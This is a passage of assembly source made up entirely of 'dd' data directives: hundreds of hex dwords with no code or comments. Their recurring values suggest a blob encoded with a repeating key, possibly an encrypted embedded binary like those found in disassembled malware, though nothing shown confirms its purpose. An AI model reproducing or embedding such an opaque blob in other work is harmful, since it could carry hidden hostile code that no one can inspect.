		dd 2049CA56h, 0C320CCECh, 6FBE5250h, 75B13254h,	31D0D6E6h
		dd 4D3A3D49h, 0A1B13256h, 57B138D5h, 0ABB4DB56h, 0A3013256h
		dd 0E1380723h, 0A7353D8Dh, 53B13256h, 5DB13245h, 660239F5h
		dd 0A55E5E9Ch, 0F0CB4A5Ch, 0CED6957Dh, 0D10E0B6Fh, 0C343D88h
		dd 4FB13256h, 52BD6FDDh, 0AEB124D1h, 57A0DB56h,	0C4993256h
		dd 4A6B3177h, 3733D5C7h, 3C410A67h, 39B9CB68h, 52B1CA2Bh
		dd 0AEB11AD2h, 0DCD75256h, 0ABA1DBAFh, 2F823256h, 46470965h
		dd 0F8AB8DB4h, 0B57047ECh, 5ED00131h, 0A858CA0Bh, 0DBB13256h
		dd 0A4DB6405h, 0D1EEBB20h, 0EAB120BFh, 0E5105A56h, 5EA0DE34h
		dd 5BB93B4Bh, 9226B676h, 5861D20Eh, 0ABB135D9h,	0D43A3D56h
		dd 1FB13256h, 7AA5F5D5h, 0BAB120D5h, 513B3D56h,	47B13256h
		dd 57B13251h, 5D8F8E2Ah, 3C3C38BFh, 154ECD71h, 897101AAh
		dd 0BAB5D6BFh, 5DBADB56h, 832B3256h, 0E5280D83h, 59BDBE2Ah
		dd 0CB3A54EFh, 0EAB120BFh, 0C5140C56h, 77D27D23h, 1BE6DF54h
		dd 0CCFD717Ah, 589D7686h, 0ABB13DD6h, 0D5BBDB56h, 60353256h
		dd 507824BFh, 0A1015989h, 0A1BD4FDDh, 0A15AC9D6h, 57B15CD2h
		dd 0A43A3D56h, 3CB13256h, 0EAB1325Ch, 0F601B10Eh, 688231DEh
		dd 0BE3115E4h, 0AF303DA6h, 0ABB13256h, 0A4C1C9D6h, 0D5B180D2h
		dd 0EAA1DB56h, 3E6A3256h, 0F176B606h, 60C9515Ah, 0EDD006B7h
		dd 23583925h, 0CBB13257h, 0DE5880E1h, 54B13256h, 91899D9h
		dd 46D4279Bh, 52D0920Eh, 0AEB120DEh, 57BCDB56h,	4D363256h
		dd 2F43F48h, 7CF82A6Ah,	0B3AD9CE9h, 7D48DB51h, 5DB13311h
		dd 23BE3256h, 57B13251h, 0ABB0BF59h, 0DA483256h, 0EAB124DAh
		dd 75A0DB56h, 4B13256h
		dd 55130E77h, 0EEA237CFh, 53975251h, 205B6345h,	0DA58CE91h
		dd 0BEB13256h, 0ADE003C2h, 0C56F1758h, 5FFBD7h,	6E322622h
		dd 8158C753h, 0A4B13255h, 0D5B120D5h, 0EABCDB56h, 1DF23256h
		dd 2DFE5B81h, 7708E977h, 0C824EB37h, 5FBE3591h,	0ABB121BFh
		dd 534E6456h, 89BEAF75h, 0CAED0A5Bh, 0EF172782h, 8490977Fh
		dd 2E4D2CDCh, 0E3D13DB5h, 0ABBDDB24h, 0F0673256h, 13FED980h
		dd 0D3DB1519h, 0DAD0122Ah, 52D1CADDh, 0AEB132DDh, 36D05256h
		dd 2B7AB237h, 0D5B122BFh, 84363256h, 0B1CA94Bh,	699889BBh
		dd 0CD7AEE44h, 0AFEEBA3Ah, 57B13EBFh, 0D5DAAF56h, 7281BB55h
		dd 0DE6EDA44h, 77F6F5A1h, 0BAB13256h, 5DB122BFh, 0C05DE356h
		dd 0A9FC8CA2h, 2EAD5415h, 7356877Fh, 0E6373D41h, 7AB13256h
		dd 0BAB134D2h, 5D303D56h, 25B13256h, 8F3A5291h,	0ABB121BEh
		dd 47B8D556h, 22BBD06Fh, 0F098C76Dh, 0BBF9DB02h, 0A3A07464h
		dd 0AEB1BC59h, 36EA3256h, 52B7F2D5h, 0D5B6B159h, 60D13256h
		dd 0C560B2A8h, 0B852DB37h, 3B443256h, 3E210CD7h, 57FFB659h
		dd 2B493256h, 50BEA268h, 0EAB13224h, 0FBBE5236h, 0BAB13256h
		dd 0B369B330h, 14D75300h, 31D070D2h, 3B4E4CD7h,	0F0353DC6h
		dd 8AB13256h, 13EAD1D6h, 53D0CADDh, 5DB13210h, 0AEB121BFh
		dd 2B8BF256h, 8CE176A2h, 43281993h, 3A8321D9h, 316BB462h
		dd 5348F5DDh, 5DB130D7h, 0E80F5436h, 57B7DA1Dh,	0F01A3256h
		dd 0DE4E034Ch, 0EAB13DBFh, 3E08A856h, 0A717BF18h, 0A5068E95h
		dd 3F5DD005h, 0D53C530Ch, 0ADA7A7D9h, 0D5B138BFh, 7063B956h
		dd 0D9638F87h, 0EA1B9EA8h, 0DBBE64A3h, 0AEB13257h, 5B3D3DAEh
		dd 0A4B13256h, 0D5B134D6h, 0EA313D56h, 8AB13256h, 0AC2238C4h
		dd 0DCD75250h, 250CEE99h, 97BA53A1h, 0ABD4B659h, 5EBE3256h
		dd 0EAB13241h, 75B120BFh, 87A42756h, 0C7F48C6Ah, 1C7CA1FCh
		dd 58FC3B5Eh, 20F8F2C5h, 0C759529Eh, 77B13256h,	0BA395D0Fh
		dd 5C0EAC3Ch, 0E9FBF10h, 64D6428Eh, 0DDEFCAD7h,	193C53B7h
		dd 0D3A7A7D9h, 0EB3B3DAEh, 8CB13256h, 0BAB1B1BFh, 5DA0DB56h
		dd 0B8E53256h, 663A8018h, 941506C8h, 4E41C8C8h,	0BC2FA460h
		dd 75B6DA36h, 0E3EB3256h, 4C90D38h, 0F0D052AAh,	993A53A3h
		dd 0A4E4CBA3h, 0D5B133D5h, 784ECB56h, 73A7A0BFh, 0BAB4B659h
		dd 0D7D13256h, 0F3D0CB88h, 587F19A3h, 0ABB13DD2h, 0D5BBDB56h
		dd 6A8A3256h, 6D115A50h, 182D863Bh, 0DCD76036h,	0F6E5119Ch
		dd 0A268C537h, 0ABB0B959h, 8B483256h, 0EABBBE59h, 15D13256h
		dd 0FF5EB337h, 3CCFC46Fh, 0AF494FD5h, 5738B759h, 0A3583256h
		dd 6AB13256h, 0D7BA8773h, 0C5FFF9D4h, 35BECE1Fh, 5DB13257h
		dd 28BE98AAh, 57B1325Ah, 0ABB7BA59h, 55BE3256h,	0EAB13256h
		dd 0F0BE8A30h, 0BABBB659h, 0DCD13256h, 33102FBCh, 36778745h
		dd 0A4499930h, 0B5B074E0h, 0EAB13ABFh, 0C4500256h, 3BFEB113h
		dd 0EC08546Fh, 0CE1A53C4h, 0C49A06E8h, 6458530Fh, 0B5B13256h
		dd 0EAA2DA00h, 0C0353256h, 710E2B02h, 1BF85A23h, 0C6CE9DE8h
		dd 0F377AC25h, 0CAE96DA7h, 0D5B0B659h, 69493256h, 7AB3CA2Bh
		dd 0BAB1A0D3h, 0E6075256h, 0A5095437h, 630B529Fh, 42F06264h
		dd 0D5B1325Eh, 6BFD4A0Ah, 7EBFF4CEh, 531A5437h,	5DB1325Fh
		dd 1505501Eh, 0F3EC2C20h, 53D15250h, 0FD93D0D7h, 0E5D044B2h
		dd 75B126DAh, 0BABFDA56h, 0A7A63256h, 0FB02B459h, 97E7CB02h
		dd 22FF3D64h, 6DD75308h, 8C48B659h, 75B4DBFDh, 0E2A13256h
		dd 52D88002h, 57B074E0h, 57B139BFh, 1CAF2256h, 50BD274Ch
		dd 6E02350Fh, 7D3A3DFDh, 0B5B13256h, 5DB130D2h,	47D05256h
		dd 57B13240h, 0ABB0BA59h, 26443256h, 0ED3A3DF2h, 7AB13256h
		dd 0BAB133DFh, 9A3ACA56h, 0C8D169AAh, 8E58E4D7h, 0F0E86200h
		dd 3CD16B37h, 0EAB1325Ch, 40A92AD3h, 0ECCC2EE8h, 0D6D7E93Ah
		dd 47EF538Ch, 57B1325Dh, 6B3E7FDFh, 0FFCAED23h,	0B5751A8Dh
		dd 0F3085436h, 0BAA2DA75h, 74A63256h, 73E14841h, 7E8E97D1h
		dd 56F35ED9h, 0DB7DF768h, 0B1D05227h, 15D1FB37h, 0BAB13DBFh
		dd 6ADA4656h, 0E40A8AC6h, 97EAE99h, 0B1246B85h,	0B409C7D6h
		dd 0E273C737h, 74393D56h, 42B13256h, 5258C703h,	0D4B13256h
		dd 0F6BE9933h, 0D8AE713Bh, 0E6F88DF1h, 63AE1E6h, 75A7B359h
		dd 0AB583256h, 0E1B13256h, 0BAAF1D98h, 95830E7h, 0BEE4C813h
		dd 460055ABh, 0EA59CE36h, 2FB13256h, 7991D8D7h,	0DABE3440h
		dd 0AEB13245h, 57BBDB36h, 3A93256h, 0C67F8A1Bh,	7B529715h
		dd 7AD078E3h, 0BAB137D3h, 0E2BE5256h, 254D53A1h, 0DE4D3A13h
		dd 0BD2342D4h, 0D5B4DB50h, 3F803256h, 9CA67B7Dh, 0BAB13245h
		dd 632654DAh, 8E0EBA69h, 12E5B11h, 0FD0BE608h, 0B41A4C15h
		dd 0EABBBA59h, 0F4D13256h, 72914BBDh, 3C82822Eh, 0A23C3D9Fh
		dd 0BEB13256h, 0ABB13251h, 0E14AC936h, 2811DED5h, 13D13252h
		dd 0A2C5D4D7h, 0A0768836h, 78315475h, 2D053C3h,	0ABB126BFh
		dd 9C73B856h, 3D3550Eh,	8D24F5A8h, 0E7DDB2F7h, 924597ECh
		dd 0CE5DB970h, 57B9DBA3h, 0A16D3256h, 80AD24F4h, 0E5D00271h
		dd 75B13AD4h, 0B8373D56h, 3DB13256h, 5675B137h,	0DDBE52AAh
		dd 0ABB1324Fh, 0D5B126BFh, 0DEF5AA56h, 0BD2D888Ch, 5C85C2DBh
		dd 155F48ABh, 361C573Ah, 57B1DAB4h, 2AEB3256h, 0C37521BCh
		dd 16D1CA50h, 74333D37h, 46B13256h, 5D497791h, 0CEB13256h
		dd 0F46EB330h, 643054ADh, 12D00344h, 0EAB1CE13h, 0F5D13256h
		dd 3BD7379Dh, 3CAB148Fh, 29BEF265h, 57B13251h, 91AF8836h
		dd 3CD0363Dh, 0EAB13244h, 696DEFB9h, 98016E4Dh,	89A15EF3h
		dd 0F48AB52h, 0DCD775E1h, 1E085248h, 0DA855074h, 0EAB137DBh
		dd 84378C56h, 7DD04F35h, 4B25E2D4h, 0AEB13350h,	50373D56h
		dd 0CBB13256h, 315336h,	6BD75375h, 7A21A2ADh, 0BAB12BD3h
		dd 5DBCDB56h, 69833256h, 63E3318Fh, 63231CEh, 0DAC989C0h
		dd 0EAB133DCh, 8E31C756h, 0A4353DBEh, 0B4B13253h, 0AEB13246h
		dd 9BA6A9B9h, 0D3B63A96h, 0CB37307h, 920B4C26h,	75B126BFh
		dd 73418A56h, 0E2A4ED59h, 0B973B241h, 254570FBh, 0D318AD74h
		dd 0D25872C5h, 0B5B13256h, 0B4641576h, 41317239h, 87353DBFh
		dd 5BB13252h, 0D3BE5216h, 0ABB13259h, 0D5B138BFh, 0EDF12156h
		dd 66B51436h, 0B54ED807h, 5DB130DFh, 0CF218056h, 585AC9D6h
		dd 0ABB582D2h, 3CD1CE56h, 0EAB13251h, 0BB67FC53h, 0ECC69E77h
		dd 0F9A6FAD7h, 0CFE802D4h, 57BDDB16h, 6F783256h, 0D609FA97h
		dd 19A15335h, 9231C642h, 0BB343DA6h, 0A1B13256h, 0A14AB330h
		dd 25353DD6h, 0CBB13252h, 0B3EBC704h, 0E9D0C1DDh, 659BF3D4h
		dd 0B2363D50h, 52B13256h, 0AEB130D2h, 0BED05256h, 0ABB13258h
		dd 8BEEA222h, 0E6B3E035h, 6583615Eh, 4FF140ACh,	5253C9D6h
		dd 0AEB51BD2h, 57BFDB56h, 8C673256h, 0FF2A02Dh,	0C5AF0A09h
		dd 60850738h, 0B552C9D6h, 5DB2D3D2h, 0CF445256h, 304AB330h
		dd 54353DB5h, 3CB13255h, 0EAB13250h, 0CE0A15C0h, 5931F9B9h
		dd 0DC4952A6h, 43D0409Ch, 0AC31533Ch, 45353D26h, 3CB13255h
		dd 0EAB13242h, 43607759h, 8862FB6Ah, 33E49FC6h,	0CB022415h
		dd 0B2617B1Ch, 0ABA5B159h, 51BE3256h, 0EAB13258h, 75B13BBFh
		dd 825AFB56h, 5A9B1DCCh, 25D7A11Ch, 0B431CB48h,	5031CBAEh
		dd 70353DEEh, 3B13257h,	75B1325Ch, 6BA2B68Ah, 0B5395042h
		dd 9031E2E3h, 0DA353D53h, 0A4B13257h, 0D5B12CD3h, 62BE5256h
		dd 75B13256h, 0BAB122BEh
		dd 0D28D0E56h, 3EED498Fh, 0D7D49381h, 0D81B056h, 0DAD06BCCh
		dd 0EAB13ED3h, 73343D56h, 0B5B13256h, 5DB132D7h, 838FB256h
		dd 56FFB659h, 0A2583256h, 17B13256h, 8D951F55h,	0C4858318h
		dd 0B03D3D36h, 0B4B13256h, 0AEB13253h, 4728BF45h, 4B0A54CDh
		dd 0EB3153BCh, 0CB353D3Eh, 89B13257h, 0E1E75216h, 3C45C7D6h
		dd 3A61B0A9h, 37D13440h, 2AD7E1DDh, 0B46F908Eh,	0F43A5437h
		dd 75B9BE59h, 3BBE3256h, 5DB13254h, 0C8D15336h,	3DDCF4D7h
		dd 16EE9D7h, 55D023E0h,	0E658CAB1h, 4AB13256h, 8C4554BDh
		dd 68EABE8Fh, 0C8CF70C9h, 0BF30C9D7h, 0AB7BB659h, 0B5D13256h
		dd 6757B330h, 14EF608Eh, 0BAB0BC59h, 3C443256h,	56AFB930h
		dd 3741D5D6h, 0CA4B8559h, 0D5B134BFh, 0C6EE1C56h, 13D0EA9Ch
		dd 7A30C9D7h, 5D27B659h, 24BE3256h, 57B13240h, 0ABB123BFh
		dd 0EC0E6556h, 0E9E748C3h, 27B6B0B7h, 6B1FE846h, 545871BFh
		dd 45B13256h, 4D6D0143h, 7714E0DAh, 0DAE4CE36h,	0EAB12AD0h
		dd 70595256h, 67B13256h, 748E97D1h, 0AEB4DA0Fh,	4DCD3256h
		dd 0F02A057Ah, 3C23CD37h, 12B724C4h, 0FC446FAFh, 34BECE13h
		dd 5DB13251h, 0AEB0B259h, 364D3256h, 0ABB6B859h, 6BD13256h
		dd 9C887DCAh, 89CCB137h, 1343D57h, 0B4B13250h, 0AEB13242h
		dd 3DB062D8h, 84D999A6h, 7D153DDEh, 967957CFh, 0C9B9DDB4h
		dd 0B12488DDh, 0D3BE3446h, 0AEB1325Eh, 57B3B259h, 0CAD13256h
		dd 573AC706h, 0ECA7A686h, 7F3E3DAFh, 0DAB13256h, 0D7BEE3DDh
		dd 0AEB13256h, 678D0B37h, 0ABBBB159h, 83D13256h, 0EA3D3D0Eh
		dd 14B13256h, 0E1333D0Eh, 0B4B13250h, 0AEB13259h, 765A1225h
		dd 0FCFE0B1h, 3B7235FFh, 8A4AAF61h, 0F513D1D6h,	31D077B0h
		dd 4D98C3ECh, 0A6585250h, 0DEB13256h, 1B925946h, 0B3D50E35h
		dd 0BAD0F9DDh, 75A5B959h, 30BE3256h, 5DB13258h,	0AEB13BBFh
		dd 0B554FA56h, 0C2346E68h, 573AD07Bh, 0ECA7A686h, 75B126BFh
		dd 6C2AE256h, 0E075387h, 60A6EFF6h, 976DF306h, 132C10AEh
		dd 0E58D0B68h, 0EABFDA36h, 51E3256h, 97B89AA2h,	312269D4h
		dd 0C8E5AE50h, 58E95336h, 0ABB136DEh, 0F2095456h, 0FA585336h
		dd 2AB13256h, 60FF3C65h, 0D67475AAh, 0AB33CD24h, 0F7FE498h
		dd 0AE1DBD59h, 5E483256h, 0FC2316ECh, 75A3DB50h, 1B8E3256h
		dd 3917D0EBh, 0B4647428h, 0EF7AF67Dh, 55A57F7Ah, 0D5B13EBFh
		dd 0F374BF56h, 291FCD38h, 0AFB7D503h, 7933B1B6h, 0BAB724C4h
		dd 0DD0F5436h, 0A6B6892Bh, 5CD02225h, 64BE5261h, 75B13255h
		dd 0DB4BB930h, 0B4A175DFh, 0AEB13258h, 6FA0CA33h, 977F3906h
		dd 4F5F2EF7h, 0E5E1F5D3h, 75B13BD1h, 0B5485256h, 5DB132D1h
		dd 25495356h, 4125E2D4h, 0ABB6DB50h, 81B03256h,	0D4543EA3h
		dd 45ADB92Bh, 0BF3C3D36h, 0E7B13256h, 0C4B1A18Dh, 37D9EDD7h
		dd 0F3D0054Bh, 0D5B7B559h, 0BDD13256h, 1471810Dh, 46B96DDFh
		dd 5DB5CBBFh, 0AEBDDB56h, 94C33256h, 67DE6FFDh,	0FCE5776Eh
		dd 0E1584550h, 0CBB13256h, 127A66B9h, 0CC2930F0h, 0EB76775Ch
		dd 57B130AEh, 443B5256h, 0D5B13DBEh, 77B11356h,	6508E308h
		dd 0AA5C372Dh, 86A05FD9h, 0B858530Dh, 58B13256h, 0ABB133D9h
		dd 9076CE56h, 0EAB133AEh, 0CED75256h, 43067000h, 790BB937h
		dd 0CEB724C4h, 84BA7E8h, 6A30542Eh, 56D08F00h, 0FC2316D4h
		dd 0F5BE2650h, 0BAB13258h, 5DB13BBFh, 46D44B56h, 0FA2327BEh
		dd 9C388B99h, 0C5F6BBAEh, 0E949B1AFh, 75CCB759h, 36BE3256h
		dd 5DB1324Dh, 0AEA4B059h, 47583256h, 71B13256h,	2624EF1h
		dd 387B5CFCh, 0C53640D5h, 0B566A0F1h, 5DB13CD6h, 60305256h
		dd 37D3CFDEh, 0ABB1B259h, 12D03256h, 0FC25E2D4h, 75B13050h
		dd 0B3595256h, 88B13256h, 5394C5B6h, 0C2DDAAA1h, 0BF596AAAh
		dd 0C3B13256h, 8D949341h, 827F57Fh, 2759924Eh, 0D598BCA0h
		dd 0A18A50AFh, 57B132D0h, 42D06A56h, 0D5B13241h, 0EAB0B759h
		dd 0F6483256h, 37BE30AEh, 5DB1306Dh, 0AEB0B959h, 0D44D3256h
		dd 0A4B1CA2Bh, 0D5B18DD2h, 0EAA0DB56h, 0F2563256h, 2AB08439h
		dd 0DC6C6054h, 0AEEB91E9h, 37EC638Ah, 0ABB13BBFh, 33BDD256h
		dd 0F9F30013h, 0DD038641h, 0FC073D37h, 5DBEDB57h, 3C9F3256h
		dd 9EA8D40Eh, 39CA1580h, 0EDEEE815h, 0EA319B48h, 0F0BE3256h
		dd 0BAB13202h, 8B305436h, 0CF443C3Bh, 57B9DB16h, 8FA53256h
		dd 11962B7Ah, 2324EC1h,	743A3D53h, 43B13256h, 5DB10BBFh
		dd 0AEBEDB56h, 2FC33256h, 0D80800C4h, 8C53FCCFh, 0EA5793F0h
		dd 60383DBEh, 0B5B13256h, 5DB13DDAh, 0AEBBDB56h, 0A5EB3256h
		dd 7E492B91h, 24EDD80Ah, 0EAB1CD7Bh, 9D32CE56h,	8558CA53h
		dd 0B4B13256h, 0AEB13253h, 0F68DFC5Dh, 0AA3E3D4Ah, 20B13256h
		dd 0EAA5DB05h, 8FB83256h, 0CF0FDE57h, 8489B2BBh, 0FF078D38h
		dd 71B871C1h, 313A81F5h, 0D3A7A686h, 0D9B5B9A3h, 0F4D169AFh
		dd 0BDE223BFh, 5D18534Fh, 0A1313256h, 57B1A8D3h, 0ABB9DB56h
		dd 1DFA3256h, 5BF90C4h,	9DD10332h, 0BAB13247h, 2C467E50h
		dd 0D7BE216Ch, 0B1606708h, 0DD06A866h, 43A5464h, 3C063D0Eh
		dd 15773137h, 0B5688D59h, 5DB134DEh, 0AE353D56h, 36B13256h
		dd 0A4B4F2D5h, 0D5B13BDDh, 203A5256h, 217BB330h, 38B25396h
		dd 5BA7A686h, 5BD17AAFh, 0DBBE5237h, 0ABB13250h, 0C166E9D7h
		dd 63D03E8Ah, 0FC493A11h, 0DCD13E11h, 0D5DAF9D7h, 47D0EADDh
		dd 57B13004h, 0ABB0BE59h, 0B5443256h, 0EAB135BEh, 3806C556h
		dd 98DD5DABh, 3BEBEADDh, 59D0C0DDh, 5B3D3D8Eh, 0A4B13256h
		dd 0D5B134D5h, 0EA3C3D56h, 8DB13256h, 4D48F47Dh, 5DA2DB8Eh
		dd 96A43256h, 265587C2h, 42EE233Fh, 6EE0A087h, 0F340406Bh
		dd 7071B1A4h, 0BAB9B759h, 0D4BE3256h, 0AEB13254h, 0D5B25336h
		dd 0ADA7A686h, 0B5D05236h, 0FF04D3DCh, 22D15337h, 30E8CBE4h
		dd 0A1F953B5h, 0CEB975DFh, 57BDDB04h, 4C2D3256h, 0BCC6E931h
		dd 0D9A7F179h, 0F4E9D7C1h, 0D55D71BEh, 1A385341h, 0A358525Ah
		dd 0B2B13256h, 0E439DD34h, 47F631EAh, 90064CE1h, 7411DB37h
		dd 89443256h, 1B3BCA96h, 23BE5257h, 57B13254h, 3D06D06h
		dd 69343DD6h, 12B13256h, 75B0B559h, 0B94D3256h,	5DB8DB90h
		dd 0A1F03256h, 0D17752B1h, 289F24A2h, 0C7583096h, 72B13256h
		dd 0FDB5D7E4h, 87782C1Ch, 44C3271Eh, 0AD5E71ABh, 57B089DEh
		dd 0A7583256h, 18B13256h, 604E9848h, 1E5D4EC4h,	0B14309B9h
		dd 6E353D8Dh, 47B13256h, 57B13245h, 157C75E2h, 5301F2B2h
		dd 3D039018h, 0AA1FB285h, 53C97A2Ch, 5DB1325Dh,	902437E5h
		dd 72D9037Bh, 212D37DEh, 0C0018CCCh, 931C750h, 0B6B2C757h
		dd 0B2F6BBAAh, 0DCD752AFh, 0C8ACAE95h, 0B804D4D7h, 0A7F6BB37h
		dd 0D559DBAEh, 69BE3256h, 75B13241h, 0BAB120BFh, 45CA1756h
		dd 0C87B0868h, 195144A3h, 6D359342h, 225941E4h,	0F8313D8Eh
		dd 15B13256h, 0BAB135BEh, 0C3B77C56h, 97C8F2B5h, 9D3A540Fh
		dd 0AB4E1737h, 5CBE3256h, 0EAB13258h, 75B13BBFh, 91EE3156h
		dd 42EC295Dh, 25D1A0BBh, 5C333DA7h, 42B13256h, 0D5B13250h
		dd 2EF25667h, 5ED06975h, 0A2333D90h, 0B4B13256h, 0AEB13245h
		dd 6945DC78h, 2EBF4A28h, 1FC37E65h, 56D82078h, 825EEC43h
		dd 0B13D3D8Eh, 0B4B13256h, 0AEB13250h, 0FD11F8F2h, 6B327CD7h
		dd 0D5A0DB54h, 2A1D3256h, 886F417Eh, 1D144DF4h,	1923D067h
		dd 27FCAD30h, 59583A11h, 0D6B13256h, 0E6F320A7h, 5F1E55h
		dd 90B512D0h, 0B6F6BB30h
		dd 5DA9BF59h, 0BD583256h, 9EB13256h, 513228EBh,	4B550EB5h
		dd 0A409FFA7h, 1CE2470Ah, 5349ADA5h, 5DB13244h,	0A557E88Eh
		dd 0AB75CCC2h, 69ADB5Fh, 0F0C7D258h, 3D01A60h, 75B1325Fh
		dd 38E1CB60h, 17C5F936h, 4778CE14h, 57B13245h, 0A789EFE5h
		dd 1FFC0008h, 2A9DEF29h, 487577FEh, 0DA8D8C03h,	527FB930h
		dd 6DD0E4E9h, 57B139BFh, 656B0256h, 593C3ECBh, 0B6C9FE79h
		dd 74333D03h, 4FB13256h, 52D1DEDDh, 0AEB134DCh,	57383D56h
		dd 52B13256h, 2975B137h, 0E45852AEh, 7FB13256h,	7D4BAD4Bh
		dd 7CA6A407h, 8633FA0Dh, 37D0C7F3h, 0ABB13DBFh,	0DA74E156h
		dd 2A1845CDh, 0BE735E59h, 4A238458h, 5DB132BEh,	44306856h
		dd 51A7FD7Ch, 95DF8D36h, 5ED70496h, 8CD153A4h, 0D563C0D7h
		dd 440BB937h, 0A1B724C7h, 0A158FB65h, 0BEB13256h, 6A973580h
		dd 0F1BBA40Ch, 0F529129Ch, 4A325D28h, 3C353D56h, 0B4B13253h
		dd 0AEB1325Bh, 46E53F71h, 15670C4Ah, 517574E9h,	8AB6B96Dh
		dd 75B3B659h, 0DBD13256h, 89CFEDD7h, 51D01A99h,	0D7BE3E23h
		dd 0ABB13251h, 0D5B0BA59h, 0E5443256h, 75B13BD7h, 5BE5256h
		dd 0B40E5484h, 0DB4E5389h, 5B353D5Eh, 0A4B13256h, 0D5B134DDh
		dd 0EA3A3D56h, 25B13256h, 0BABDB359h, 0D9BE3256h, 0AEB13250h
		dd 57B1BC59h, 434D3256h, 0D5B13B02h, 0E57139AEh, 75B17CD3h
		dd 0BD313D56h, 3DB13256h, 0FED5E0D6h, 503A530Dh, 0ABB120BFh
		dd 0D6E41256h, 273345B8h, 0BDC2A01Dh, 0CC9F145Ch, 52B7DF1Dh
		dd 0AEB124DAh, 57A0DB56h, 0F7AB3256h, 0EA1ECC57h, 6B0DA7A5h
		dd 4F92A73Eh, 53B0662Bh, 5DB13267h, 0AEB0BF59h,	0D4443256h
		dd 0A4492691h, 0D5B13CDFh, 0EAB8DB56h, 108C3256h, 45A03B02h
		dd 0B4B3D97Dh, 514ECD44h, 57B6B059h, 28BE3256h,	0D5B13257h
		dd 16F4BBAEh, 8AD0CE36h, 35BE3E23h, 5DB1325Ch, 0A1498036h
		dd 57B132D4h, 0DE4E5356h, 3330525Eh, 0BA73EE86h, 424E53A3h
		dd 0BAB120BFh, 0E7306C56h, 0BF13D527h, 0B70D0C94h, 0E4B15142h
		dd 3D95CD92h, 0EAB13AC6h, 75B0BE59h, 42493256h,	0D9BEF25Dh
		dd 0AEB13243h, 538ADBAAh, 28BE3256h, 0D5B13257h, 55BE52AFh
		dd 0AC3A54A8h, 46F4B937h, 52B60BAAh, 0AEB512D4h, 5C343D56h
		dd 0CBB13256h, 0DA798559h, 0EAB132DBh, 304E5356h, 36BE52AAh
		dd 5DB13241h, 0AEB123BEh, 67497C56h, 0FECE20EAh, 0C9789D2Eh
		dd 79FF0B20h, 7AEB7347h, 42D0FDE9h, 5DB54DD5h, 0AEF6B659h
		dd 0DDBE3256h, 0ABB1325Dh, 0D5B134BFh, 0FCB94B56h, 0F67BC68Ch
		dd 0B5B13E29h, 5DB11ED2h, 0A6343D56h, 58B13256h, 0ABB130D2h
		dd 3CD05256h, 0EAB132D2h, 75A1DB36h, 33F53256h,	0E8948DA5h
		dd 65330F5Dh, 9C443F18h, 690277FDh, 2A4E8A37h, 67BECDA9h
		dd 75B1325Ah, 0BAB7B259h, 0D2BE3256h, 0AEB13256h, 57B137EFh
		dd 0AA383D56h, 20B13256h, 2D199A5h, 75B1325Ch, 6E55F091h
		dd 36005DEEh, 0A758AD24h, 0FB13256h, 0F113941Eh, 0EBB0AE7Fh
		dd 90F5408h, 0C9585320h, 0B54ECDA8h, 5DB125D7h,	0AEA3DB56h
		dd 0F0F43256h, 41025F47h, 0F683FE7Fh, 2090F6FFh, 0DF2D0EEDh
		dd 0BFA14DD5h, 5D15B659h, 22BE3256h, 57B1325Eh,	0ABB3BA59h
		dd 0B4D13256h, 0ECA14DD5h, 7578B759h, 3EBE3256h, 5DB13272h
		dd 0AEB6DA36h, 0ADF23256h, 0CCF15F5h, 0C5586C56h, 7B13256h
		dd 2E8DBA20h, 4FFACCD3h, 31AB0EEFh, 0CFBB1049h,	0DCBE5217h
		dd 0ABB13253h, 8938D2E8h, 0EABDDB61h, 0A6773256h, 0E7984F97h
		dd 7F255D83h, 25D05337h, 31D13611h, 7A31FCDDh, 5EBE5380h
		dd 0EAB1325Ah, 75B7BF59h, 3BBE3256h, 5DB13256h,	0CEBD6DDDh
		dd 5845E0E9h, 0A666B319h, 0B4BFF065h, 0EAB301BFh, 75BDDB56h
		dd 82223256h, 8928C24h,	0F6EC98D2h, 103ADA4Dh, 0C2085252h
		dd 54DAF96Eh, 0B8E8C08Fh, 2A3A5334h, 3DBE525Ah,	5DB13241h
		dd 0AEB123BEh, 549D3456h, 0FA20B321h, 0DC2EF0EEh, 0C094602Ch
		dd 0CDEA0293h, 0B4A3C42Bh, 5C52DB37h, 25483256h, 0D0BE3611h
		dd 0ABB13257h, 0D9EEB9A3h, 0EAB120BFh, 7E014956h, 44EB6B38h
		dd 198C1F64h, 22FBD4EDh, 6CCCA234h, 2EBE3A09h, 0D5B132A4h
		dd 0EAB135BFh, 96B256h,	4F9E59FAh, 55595204h, 0ECB13256h
		dd 0EB3555DCh, 4247C7B0h, 0D5B13251h, 598FF181h, 2E9B3A5Bh
		dd 0BAB135BFh, 0C8B8D56h, 59C710C5h, 53E6B937h,	0BBE419AAh
		dd 69095436h, 8BBA8227h, 7AA56755h, 0BAB12BDDh,	5DA5DB56h
		dd 8D8E3256h, 0EE523F72h, 41B6B8B4h, 6BAAE483h,	0E2E12DFCh
		dd 2A3A3561h, 0BABDDB5Ah, 550C3256h, 937F08ACh,	72BB4331h
		dd 719A4404h, 0D5B135BFh, 0C5CC2556h, 0E40FC241h, 0B5B4D9D5h
		dd 5DB135D9h, 0AF3D3D56h, 0AEB13256h, 7D3A5436h, 0B4CEF0D6h
		dd 8CE0520Ch, 2BEA96EFh, 7A5853A3h, 0B4B13256h,	0AEB1325Ch
		dd 0F8478E22h, 0DFA1FE91h, 5BBE04AFh, 0EAB13278h, 75BFDA36h
		dd 3B9B3256h, 0E154A898h, 73EFC327h, 0A90381E3h, 0ABA2DB08h
		dd 0BFDC3256h, 837A11E2h, 42A5966Dh, 0EB58ED25h, 3D44B236h
		dd 0E93A5352h, 0ECD75252h, 0CBD121D9h, 0B4D0C737h, 3BD6DDDh
		dd 75B1325Fh, 364323A4h, 717907FCh, 0F19ACBABh,	57B4DB52h
		dd 79613256h, 0DA1FC337h, 0EAB13ADBh, 13495256h, 0D187E4D7h
		dd 585AB137h, 47758136h, 57B1325Eh, 3A529715h, 0D5E22475h
		dd 0EABCDB37h, 0D7D63256h, 3A2BEC7h, 28086EE4h,	0AD288A58h
		dd 4796E3DCh, 20BE5250h, 0D5B13250h, 0EAB1B159h, 0F9BE3256h
		dd 0BAB13254h, 0DED05336h, 0A1B22229h, 57B10ED3h, 0A3393D56h
		dd 0B5B13256h, 207D8D30h, 15D044E0h, 0BAB3B859h, 0AE003256h
		dd 0AEBEDB36h, 70C03256h, 992D56BAh, 0BC68BF85h, 7BA6349Fh
		dd 0BF3A54F9h, 0B5F05337h, 5DB136D4h, 763A5256h, 0AF681937h
		dd 0AAB06EDFh, 2A4E8AAAh, 0FE58CDA9h, 0B4B13256h, 0B92623C7h
